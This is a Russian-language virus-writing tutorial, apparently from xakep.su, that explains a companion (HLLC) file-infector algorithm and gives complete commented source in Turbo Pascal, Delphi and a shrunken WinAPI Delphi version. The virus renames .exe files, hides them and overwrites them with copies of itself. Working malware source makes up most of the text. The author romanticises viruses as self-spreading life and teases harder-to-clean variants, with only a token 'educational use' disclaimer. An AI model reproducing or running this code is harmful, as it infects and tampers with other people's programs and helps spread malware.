Алгоритм заражения такой:
- Ищем файлы с расширением .ехе, именно их мы и будем заражать.
- Если находим .ехе проверяем наличие файла с таким же именем, но расширением .сом, если такой файл есть - значит уже заражено, если нет - значит заражаем.
- В первом варианте что бы заразить, нам достаточно просто скопировать себя в папку с жертвой, с её именем, но расширением - .соm, во втором случае, мы сначала переименуем расширение жертвы на .соm, а затем копируем себя с именем жертвы. Так же для обоих случаев заражения необходимо поставить жертве атрибут - скрытый.
- После того как жертвы кончились (заражено всё, либо необходимое количество), необходимо проверить, запущен ли вирус в свободном виде, или у него есть жертва, если жертва. Для этого нужно глянуть своё имя и наличие файла с таким же именем, но расширением .соm в текущем каталоге, если нет – завершаем работу, если есть – запускаем файл, завершаем работу.
. Если вы внимательно читали и всё нормально втыкнули, то вам стало ясно, что этот тип вируса сохраняет работоспособность заражённой программы, хотя и находится с жертвой в разных телах, что является его основным недостатком, в силу крайне простого лечения.
Т.о. вирус состоит из четырёх частей:
- Процедура заражения.
- Процедура поиска жертв.
- Функция проверки зараженности
- Функция запуска жертвы
Хочется сделать небольшое отступление и отметить, что многие люди любят спрашивать: «А что делает вирус??», имея, конечно же, ввиду: «Как вирус пакостит?», но на самом деле, это довольно глупо, т.к. пакости (деструктивные функции) - не являются основным отличием, особенностью или назначением вирусов. Главная цель вируса – выжить, в трудном компьютерном мире, дать приплод и, как следует, распространиться. А всякого рода хищение, порча и издевательства – это рухлядь, и в ней нет столько интересного, как в созидании появления, пусть и компьютерной, но всё же, новой самостоятельной, жизни... О как зажёг.))) Хотя вернёмся к нашим баранам...
. Процедура заражения файла идентична, HLLO, принципиальная разница кроется в том, что процедура поиска жертв не скармливает этой, опасной для файлов процедуре, файлы, а лишь дает путь самокопирования с определённым именем. В общем я привожу оба исходника вирусов, с комментариями, думаю, у вас не возникнет проблем с их пониманием. Вирусы, заражают, по второму, по описанию методу, т.к. первый метод, больше актуален для DOS.
На Turbo Pascal:
{$M 65520,0,0}{Выделяем память под источник}
uses dos;
const
VirSize = 3920;{размер вируса}
Procedure Infect(path:string);{Путь к заражаемому файлу}
var
FromF : file;{Файловая переменная для файла источника}
ToF: file;{ Файловая переменная для файла для заражаемого файла}
NumRead : Word;
Buf: array[1..VirSize] of Char;{Буфер для чтения виря и его записи, равна размеру виря, для переноса за один раз}
begin
Assign(FromF, ParamStr(0)); {Ассоциируем переменную с путём к себе– т.е. себя))}
Reset(FromF, 1);{Открываем себя}
Assign(ToF, path); {Ассоциируем переменную с путём к жертве}
Rewrite(ToF, 1);{Открываем с перезаписью жертву}
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);{Читаем себя в буфер}
BlockWrite(ToF, Buf, NumRead);{Пишем буфер в файл}
Close(FromF);{Закрываем себя}
Close(ToF);{Закрываем жертву}
end;
var
sr,sr1:searchrec;{Поисковые переменные}
d,d1:dirstr;{переменная пути к файлу}
n,n1:namestr;{переменная имени файла}
e,e1:extstr;{переменная расширения файла}
f:file;{Файловая переменная}
begin
fsplit(paramstr(0),d,n,e);{Раскладываем путь к себе на путь к папке, имя файла и расширение}
findfirst('*.exe',$39,sr);
while doserror=0 do{Ищем до тех пор, пока не найдём все файлы или не случится ошибка}
begin
fsplit(sr.name,d1,n1,e1);{Раскладываем путь к найденому файлу на путь к папке, имя файла и расширение}
findfirst(n1+'.com',$39,sr1);{Проверяем заражение}
if (sr.name<>n+e) and (sr1.name='') then{Если фвйл не заражен и найденый файл не вирус в чистом виде то..}
begin
Assign(f,sr.name);{ассоциируем путь к найдоному файлу с файловой переменной}
rename(f,n1+'.com');{переименуем расширение файла}
infect(sr.name);{копируем себя с именем найеного файла}
end;
findnext(sr);{ищем следующий}
end;
exec(n+'.com','');{по окончанрию поиска, заражаем жертву, если она есть}
end.
Теперь, то же самое только на Delphi.
program hllc;
uses
sysutils,
windows;
const
VirSize = 43008;///Размер вируса
Procedure Infect(path:string);
var
FromF : file;
ToF: file;
NumRead : integer;
Buf: array[1..VirSize] of Char; //Буфер
FM:word; //Переменная для сохранения FileMode
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
Reset(FromF, 1);//Открываем себя
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
CloseFile(FromF);//Закрываем себя
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(ToF, path);//Ассоциируем с путём к файлу
Rewrite(ToF, 1);//Открытие с перезаписью
BlockWrite(ToF, Buf, NumRead);//Пишем буфер
CloseFile(ToF); //Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;
var
FR : INTEGER;
sr:tsearchrec;{Поисковые переменные}
f:file;{Файловая переменная}
begin
FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением}
while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов}
begin
if (not FileExists(SR.Name+'.com')) and (ExtractFileName(paramstr(0))<>sr.Name) then{Если файл не заражен и найденный файл не вирус в чистом виде то..}
begin
AssignFile(f,SR.Name);{ассоциируем путь к найденному файлу с файловой переменной}
rename(f,SR.Name+'.com');{переименуем расширение файла}
infect(SR.Name);{копируем себя с именем найденного файла}
end;
FR:=findnext(SR);{ ищем следующий }
end;
winexec(PChar(paramstr(0)+'.com'),1);{по окончанию поиска, заражаем жертву, если она есть}
end.
Как видите размер у вируса весьма большой, сейчас мы попробуем написать HLLC вирус на micro-Delphi, о котором я говорил в предыдущем уроке. Вот исходник, вируса HLLC который после упаковки fsg2 весит 1525 байт, что в 28 раз меньше чем без применения методик сжатия.
Program VirusHLLC;//Пример HllC вируса на Delphi (xakep.su)
const //Необходимы константы, перенесены из модуля Windows
VirSize = 4096;//Размер вируса При упаковке fsg2 размер составит 1525 байт
FILE_ATTRIBUTE_NORMAL = $00000080;
SHELL32 = 'shell32.dll';
FILE_SHARE_WRITE = $00000002;//Атрибут записи
FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения
KERNEL32 = 'kernel32.dll';
MAX_PATH = 260;//Максимальная длина пути
CREATE_ALWAYS = 2;//Открыть новый
GENERIC_READ = $80000000;
GENERIC_WRITE = $40000000;
OPEN_EXISTING = 3;
TRUNCATE_EXISTING = 5;//Открытие с перезаписью
ATTR_DIR = $00000010;//Атрибут директории
FILE_SHARE_READ = $00000001;//Чтение из файла
type //Типы необходимые функции CreateFile, перенесены из модуля Windows
POverlapped = ^TOverlapped;
TOverlapped = record
Internal: Cardinal;
InternalHigh: Cardinal;
Offset: Cardinal;
OffsetHigh: Cardinal;
hEvent: Cardinal;
end;
PSecurityAttributes = ^TSecurityAttributes;
TSecurityAttributes = record
nLength: Cardinal;
lpSecurityDescriptor: Pointer;
bInheritHandle: Boolean;
end;
PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу
TFileTime = record //Запись передачи даты и времени
dwLowDateTime: INTEGER;
dwHighDateTime: INTEGER;
end;
FindRec = record
//Запись в которую возврящаются параметры поиска файлов
dwFileAttributes: INTEGER; //Атрибуты
ftCreationTime: TFileTime; //Время создания
ftLastAccessTime: TFileTime;//Время последнего обращения
ftLastWriteTime: TFileTime; //Время последнего изменения
nFileSizeHigh: INTEGER; //Размер реальный
nFileSizeLow: INTEGER; //Размер на диске
dwReserved0: INTEGER; //Резерв
dwReserved1: INTEGER; //Резерв
cFileName: PathBuf; //Полное имя файла
cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
end;
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA';
//Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту
function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile';
//Чтение из файла (объекта)
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile';
//Запись из файл (объекта)
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle';
//Закрытие файла (объекта)
function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA';
//Поиск первого файла в указанном каталоге по маске
function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
//Поиск следующего файла в сессии начатой FindNextFile
function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
//Сравнение переменных
function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA';
//Определение дляны строки
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA';
// Копиpует lpString2 (включая пустой символ) в lpString1.
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
//Сцепляет lpString1 с lpString2.
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
// Выполняет прикладную задачу, указанную паpаметpом CmdLine
function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOLEAN): BOOLEAN; stdcall; external kernel32 name 'CopyFileA';
Procedure CopyData(ToF : PChar);
var
pch : PathBuf;
B : INTEGER;
F : INTEGER;
Buf : array [1..VirSize] of Char;
begin
GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем себя
ReadFile(F, Buf, VirSize, B, nil);
//Читаем себя в буфер
CloseHandle(F);
//Закрываем себя
F := CreateFile(ToF, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем жертву с перезаписью
WriteFile(F, Buf, VirSize, B, nil);
//Пишем буфер в жертву
CloseHandle(F);
//Закрываем жертву
end;
function CheckMyName(path:pchar):boolean;
var
pch : PathBuf;
i : integer;
begin
result:=false;
GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
for i:=lstrlen(pch) to 0 do if pch[i]='\' then break;
//Обределяем позицию последнего символа \ в строке пути к файлу
if lstrcmp(path,@pch[i+1])=0 then Result:=true;
//Сравниваем
end;
function FileExists(path:PChar):boolean;
var
i : integer;
begin
i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//Открываем существующий файл для чтения
if i=-1 //если -1 значит ошибка, значит файла не
then Result:=false
else Result:=true;//файл есть
end;
procedure FindFile;
var
H : integer;
R : FindRec;
pch : PathBuf;
NewName : PathBuf;
begin
H:=FindFirstFile('*.exe',R);//Поиск по маске *.exe
//Ищем все файлы в заданном каталоге с заданной маской
while H<>0 do
//Ищем пока все не найдём
begin
Lstrcpy(NewName,#0); //Очистка и инициализация переменной
LStrCat(NewName,R.cFileName);//Прибавляем строку имени файла
LStrCat(NewName,'.com');//Прибавляем .com
if ((R.cFileName[0]<>'.')
or (R.cFileName[1]<>'.'))
and not CheckMyName(R.cFileName)
and not FileExists(NewName)
then//Если не папка и не свой файл и если не заражено то..
begin
CopyFile(R.cFileName,NewName,true); //Копируем жертву с новым именем
CopyData(R.cFileName);//Заражение
end;
if not FindNextFile(h,R) then break;//Ищем дальше
end;
GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе
Lstrcpy(NewName,#0);//Очистка и инициализация переменной
LStrCat(NewName,pch);//Прибавляем путь к себе
LStrCat(NewName,'.com');//Прибавляем .com
winexec(NewName,1);//Запускаем жертву, если есть
end;
Begin
FindFile;//Вызов поиска
end.
Вот и весь вирус.. Я думаю, что на этой статье обсуждение HLLO и HLLC вирусов, будет закрыто, далее мы будем писать и совершенствовать вирусы типа HLLP, они значительно интересней и гораздо трудней лечатся, имеют массу фишек и возможностей, о которых мы будем подробно беседовать на следующих уроках. Не забываем, о исключительно учебном применении, данного материала.
xakep.su
|